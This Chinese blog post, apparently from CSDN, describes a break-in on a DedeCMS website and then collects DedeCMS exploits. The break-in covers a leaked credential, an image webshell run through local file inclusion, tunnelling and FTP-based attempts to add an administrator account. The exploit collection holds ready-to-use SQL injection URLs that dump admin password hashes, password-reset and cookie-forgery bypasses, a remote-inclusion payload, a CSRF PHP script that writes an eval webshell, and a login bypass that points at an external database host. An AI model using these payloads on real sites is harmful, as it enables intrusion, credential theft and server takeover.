一次实战记录

前几天遇到了个挺坑的网站

是dedecms,一发现是它,我第一时间利用/data/admin/ver.txt
得到更新年份20170504 查看官网的历史版本信息,发现是dedecms v7.5 sp2 版本

记得这个版本存在前台search.php文件的注入漏洞、前台任意用户密码重置漏洞、前台cookie伪造登陆到管理员前台账号,再利用前台管理员用户重置后台管理员的密码。从而进入后台进行getshell 后台getshell比较简单就不说了。

ps:有时候后台默认文件被修改,可以利用各种标识文件 tags.phpuploadsafe.inc.php进行后台目录的爆破(仅针对win系统)。
exp与原理分析可以看:https://www.cnblogs.com/zhaijiahui/p/8484667.html

当前这些的前提前台开启了注册功能,从v6.5开始就没有默认开启这个功能了,可以在后台开启。

回到正题,很遗憾,我测试的这个网站没有开启注册功能,这样没有前台用户的话,基本百分之九十八的洞基本无法实现。

暂时只能从注入入手,尝试了多处注入点,没有注入成功。
找下敏感文件了,/data/mysql_error_trace.inc,数据库错误日志文件。

在这个文件中很幸运得到一个前台账户密码。

然后登录会员中心
尝试任意文件上传漏洞
无法绕过上传木马文件
只是在个人中心页面更新logo页面上传了图片马

尝试前台cookie伪造漏洞
因为不为1的整数,所以无法cookie伪造为admin

尝试任意用户密码重置漏洞
利用/member/resetpassword.php文件得到key,这是临时的密码
然后利用临时密码重置admin管理员的密码。可惜前台登录admin报错,
并且爆破后台无果。

只能跳转思路,利用之前上传成功的图片马。利用plus/carbuyaction.php本地文件包含漏洞进行包含图片马的一句话。

成功利用getshell。

提权

权限很低,无法执行命令,连dir都无法回显。

利用mysql提权,找到数据库账号密码,连接进行udf提权,无果
无法调用cmd命令很多exp提权都不能使用。

扫端口,开了3389 21 135 14147

第一尝试 135端口 cpr服务漏洞,利用msf添加路由,直接use exp 然后run 无果

第二尝试 3389 的shift多年前的输入法,crrl+shift快速切换提权。

第三尝试 21与14147 21是ftp服务 14147是FileZillaServer服务
,在webshell找到 FileZillaServer 目录文件,得到其中的密码配置文件。得到FileZillaServer管理员账号密码。

第一,利用lcx.exe进行端来转发,把14147端口转发出来(因为本次环境不能执行命令,于是不能如此转发出来,利用reGeorg+proxifier代理出来)

参考链接 https://blog.csdn.net/he_and/article/details/81260806

本机运行 reGeorgSocksProxy.py -p 端口 -u http://192.168.200.141/haipeng/r/tunnel.nosocket.php

靶机运行 http://192.168.200.141/haipeng/r/tunnel.nosocket.php

再利用Proxy全局代理工具把从靶机所有的流量转到本机开启的端口,这样我们就通过本机这个端口代理了靶机。

代理后本机下载FileZillaServer工具,添加共享目录,添加新用户。

再利用ftp工具连接账号

接下来就是利用ftp提权了。

替换掉system32和\system32\dllcache\目录下的sethc.exe 替换覆盖为cmd.exe(重命名后的) 在远程登录页面按5下shift调出cmd命令框。
我没有成功
.

.

.

待续

连接ftp,使用quote命令提权

quote site exec net user 用户名 密码 /add 添加一个用户

quote site exec net localhost administrators 用户名 /add 把用户添加到系统管理员组

quote site exec tskill PID 在 Windows 2003 中通过 PID 关闭进程

quote site exec tskill notepad 在 Windows 2003 中通过名称关闭同类的进程

quote site exec net stop iisadmin 停止 iis 服务

quote site exec net start iisadmin 启动 iis 服务

也无果

提权姿势参考 https://www.cnblogs.com/dggsec/p/10126382.html

//-------------------------------------------------------------------------------
//--------------------------------------------------------------------------------

总结整理下dedecms一些高危漏洞。

离别歌的一篇文章。搬过来收藏下

dedecms plus/search.php 注入

步骤1:得到反馈
提交

/plus/search.php?keyword=as&typeArr[ uNion ]=a 和 http://www.newflash.tv/plus/search.php?keyword=as&typeArr[ uNion ]=a 

我们得到如下反馈:

图片1

反馈为1时利用如下exp:

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

得到列如下图错误(错误信息中存在被注入出的账号密码)

图片二

反馈为2时利用如下exp:

/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

爆出了账号密码

图片三

步骤2:破解密码

dede的后台密码加密算法大家可以下了整站看,这里直说解法:将得到的20位密文去掉开头三位,去掉末尾一位,即为16位md5密码。

如拿到的0038c7ad73902a9f1d87去首三末一为8c7ad73902a9f1d8,破解出的密码是15858272308。

步骤3:查找后台地址

dede的后台目录可能改成任何名字,而且不需要插入数据库,也就是说通过注入漏洞是无法爆出后台地址的。不过网上有个简单的方法,访问 /data/mysql_error_trace.inc 里面或许能得到后台的相关信息。

如果这个方法失败,还可以通过google搜索的方法:构造site:bianminxueche.com intitle:后台 等关键字搜索,也许能得到后台地址。

其他方法还有社工、暴力搜索等。

dedecms5.6 member/buy_action.php注入

完整payload:

当前数据库信息

/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select database()),(select 1),'4

查出表名

/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select table_name from information_schema.tables where table_schema=database() LIMIT 7,1),(select 1),'4

查出列名

http://192.168.1.130/member/buy_action.php?product=1',1,2,3,4,5,@`'`),((select column_name from information_schema.columns where table_name=0x646564655f61646d696e LIMIT 6,1),(select 1),'4

dedecms member/reg_new.php SQL注入漏洞

poc:

/member/reg_new.php?dopost=regbase&step=1&mtype=%B8%F6%C8%CB&mtype=%B8%F6%C8%CB&userid=123asd123&uname=12asd13123&userpwd=123123&userpwdok=123123&email=1213asd123%40QQ.COM&safequestion=1','1111111111111','1389701121','127.0.0.1','1389701121','127.0.0.1'),('个人',user(),'4297f44b13955235245b2497399d7a93','12as11111111111111111d13123','','10','0','1213asd11111111111123@QQ.COM','100', '0','-10','','1&safeanswer=1111111111111&sex=&vdcode=slum&agree=

 //把vdcode=slum改成当前的验证码

DedeCMS 5.7_sp1 /member/buy_action.php SQL注入漏洞

访问buy_action.php文件,使用如下参数:

?product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23
(如果不行可以试试post)

其中product和pid参数是为了让我们进入mchStrCode对传入数据进行编码的分支,a是为了配合上面提到的差异特性而随意添加的参数。从cfg_dbprefix开始,便是真正的SQL注入攻击代码。 访问该URL后,在页面源码中找到pd_encode和pd_verify字段的值,由于用户Cookie和User-Agent不同,所获取的值也不同,我这里获取的值非别为

列如
pd_encode:FkBdXBdXFw4AWEtVFkVQVwUEQFMPCURXBVQ8XVtBWkAI AldWXT1ZBl4BXEtuX0VcQVlBD11cGDV8JmEmGQgMcFVlFFgVSRgTCV YWV1BeXh8WE0tQCldRTEIFTwFPChUFHAAVBRQCSgoeAU4FUxMla3Z8 dnRwJWYSey1hLWdLExAdc3p3cHlhThIaayd4JnA3GUlGVBVYXd4RlZ rDlYOW1xnQXtfGp4J2Z7dyxrMHArfHRwHnZxcmp0JWZ3aj1nJmcwGX WUIXRWMraWp0Y2ZwdwUBUgZQDVRRUlJSAF8IBAQBAQhWVAMKDgBSUg 0AARN9VlxQM0FXSitwXgFFfVxVVWBKVkp8Im1tWwl5BwZeD1wGCANa AgJUCFYHVRUnXF1UfFpeWlZhD19XBVMHWgBbCA0GAAwfd11RA35dXw taN1 oOXGZuU150Vw0IA1ELW1cDAQBaWg0CAwUBVg;

pd_verify:1c7ba5d2861959347d0c427684a6ad30。 

以这两个字段作为参数访问buy_action.php,URL为:

http://xxx//dedecms5.7_sp1_utf8/member/buy_action.php?pd_encode=FkBdXBdXFw4AWEtVFkVQVwUEQFMPCURXBVQ8XVtBQlBfWkAIAldWXT1ZBl4BXEtuX0VcQVlBD11cGDV8JmEmGQgMcFVlFFgVSRgTCVAHVwYWV1BeXh8WE0tQCldRTEIFTwFPChUFHAAVBRQCSgoeAU4FUxMla3Z8EB1qdnRwJWYSey1hLWdLExAdc3p3cHlhThIaayd4JnA3GUlGVBVYXd4RlZXXAdrDlYOW1xDEHlwfnFhRgIeCUsYJX8sdmsZYnR3dxAFTxgAEUtMQ3UxdnQReXtfGp4J2Z7dyxrMHArfHRwHnZxcmp0JWZ3aj1nJmcwGX5jf2BpE3psRkobWUIXRWMraWp0Y2ZwdwUBUgZQDVRRUlJSAF8IBAQBAQhWVAMKDgBSUgYBXw0AARN9VlxQM0FXSitwXgFFfVxVVWBKVkp8Im1tWwl5BwZeD1wGCANaUQAGAgJUCFYHVRUnXF1UfFpeWlZhD19XBVMHWgBbCA0GAAwfd11RA35dXwtaN1oOXGZuU150Vw0IA1ELW1cDAQBaWg0CAwUBVg&pd_verify=1c7ba5d2861959347d0c427684a6ad30 

DedeCMS 5.7 plus/guestbook.php 注入漏洞

  1. http://localhost/dedecms5.7/plus/guestbook.php
  2. [回复/编辑]上可以看到访问者留言的ID。则记下ID,例如: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&id=1
  3. 访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&msg=errs.cc’&id=1
  4. 提交后,如果是dede5.7版本的话,会出现"成功更改或回复一条留言",那就证明修改成功了
  5. 再返回到: http://localhost/dedecms5.7/plus/guestbook.php,看下改的那条留言内容是否变为了 errs.cc’ 如果是的话,那就证明此漏洞无法再利用应为他开启: php magic_quotes_gpc=off
  6. 如果没有修改成功,那留言ID的内容还是以前的,那就证明漏洞可以利用。
  7. 那么再次访问: http://localhost/dedecms5.7/plus/guestbook.php?action=admin&job=editok&id=1&msg=’,msg=user(),email=’
  8. 然后返回,那条留言ID的内容就直接修改成了mysql 的user().

poc:

/plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' 

Dedecms /member/mtypes.php 注入漏洞

  1. 首先打开: http://127.0.0.1/dedecms5.5/member/mtypes.php
  2. 添加一个分类,记住ID(1),和原来的分类名称(fenlei)
  3. 然后打开: http://127.0.0.1/dedecms5.5/member/mtypes.php?dopost=save&mtypename[1’ or @' AND 1%3D1 and (select ‘r’)%3D’r’ and ‘1’%3D’1]=4
    //将其中的1改成你的分类ID
  4. 结束之后打开之后返回: http://127.0.0.1/dedecms5.5/member/mtypes.php
    //如果(select ‘r’)='r’的话 那么分类名称就被改成了4! 这样我们就能来判断是否满足条件了,二值判断注入

DedeCms flink.php注入漏洞

访问 plus/flink.php

查版本

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select version())),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

查密码

Submit=%20%E6%8F%90%20%E4%BA%A4%20&dopost=save&email=&logo=,if(@`'`,0x7c,(select concat(userid,0x7c,pwd) from dede_admin limit 0,1)),1,1,1,1,1)#,@`'`&typeid=1&url=http%3A%2F%2F&validate=spen&_FILES[webname][name]=1.gif&_FILES[webname][type]=image/gifx&_FILES[webname][size]=10&&_FILES[webname][tmp_name]=pass\

dedecms5.7 sp1版本存在远程文件包含漏洞

1.访问/install/index.php(index.php.bak),查看文件是否存在。

2.构造payload再次访问,此时清空config_update.php文件。

install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../data/admin/config_update.php

3.可以看到文件已经被清空,这时我们就可以利用变量覆盖来远程包含我们的文件了。

/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../shell.php&updateHost=http://127.0.0.1/

dedecms v5.6 plus/carbuyaction.php本地包含漏洞

Include/payment/yeepay.php
1.配合文件上传进行本地包含,上传图片马
2.利用cookie修改工具,加上 code=alipay

然后访问

 plus/carbuyaction.php?dopost=return&code=../../uploads/userup/2/12Ka5357-c53.jpg

dedecms v5.7 sp2 前台COOKIE伪造 登录绕过漏洞

利用注册一个用户名与管理员用户的mid一样的整数。如管理员的mid为1,我们注册一个用户名0001的用户

访问访问/member/index.php?uid=0001,获取last_vid__ckMd5的值

接下来使用0001账号登录,登录后修改的cookie。
将last_vid的值赋给DedeUserID,last_vidckMd5的值赋给DedeUserIDckMd5
刷新即可登录到admin管理员的前台用户。

再利用前台密码修改重置后台管理员密码
登录前台管理员账号,进入管理空间,修改新密码即可

当然还有可以

dedecms v5.7 sp2 前台重置管理员前台密码

第一步:访问链接:

http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=safequestion&safequestion=0.0&safeanwser=&id=1

http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?i=0.0&dopost=safequestion&safequestion=0.0&safeanswer=&id=1

http://xxxx/DedeCMS-V5.7-UTF8-SP2/member/resetpassword.php?dopost=safequestion&safequestion=0e1&safeanwser=&id=1


URL:http://xxxx/DedeCMS-V5.7-UTF8-SP2/member/resetpassword.php
POST:dopost=safequestion&safequestion=0.0&safeanswer=&id=用户ID

id为管理员id,得到key的值,当无法重置管理原密码可以试试post方式

第二步:再访问:

http://xxxx/dedecms/dedecms-v57-utf8-sp2-full/member/resetpassword.php?dopost=getpasswd&id=1&key=gnUckBp3

dedeCMS V5.7 SP2前台文件上传漏洞#

登录到前台会员中心
进入内容中心,在文章发表处可以发表文章,在下面的编辑器可以上传图片
抓包修改1.jpg为1.jpg.p*hp
上传成功返回上传路径

dedecms最新友情链接getshell漏洞

先上exp:
新建exp.php文件内容如下:

<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路径
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>

这里利用csrf漏洞使管理员点击我们构造的链接,然后以管理员的权限写了一个shell.lib.php的一句话文件

然后我们在前台的友情链接处添加友情链接。管理原点击,触发漏洞

织梦(DedeCms) v5.6-5.7 越权访问漏洞(直接进入后台)

http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root

把上面validate=dcug改为当前的验证码,即可直接进入网站后台

此漏洞的前提是必须得到后台路径才能实现

记录:
织梦(dedecms)全版本注入工具
链接:https://pan.baidu.com/s/10vI3yRu35ZNGdKtmgs4DCA 密码:0yv0

https://www.secpulse.com/archives/22816.html
common.inc.php 注入
https://www.leavesongs.com/PENETRATION/UseOfDede0day.html
plus/search.php 注入
织梦dedecms留言板注入漏洞edit.inc.php

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值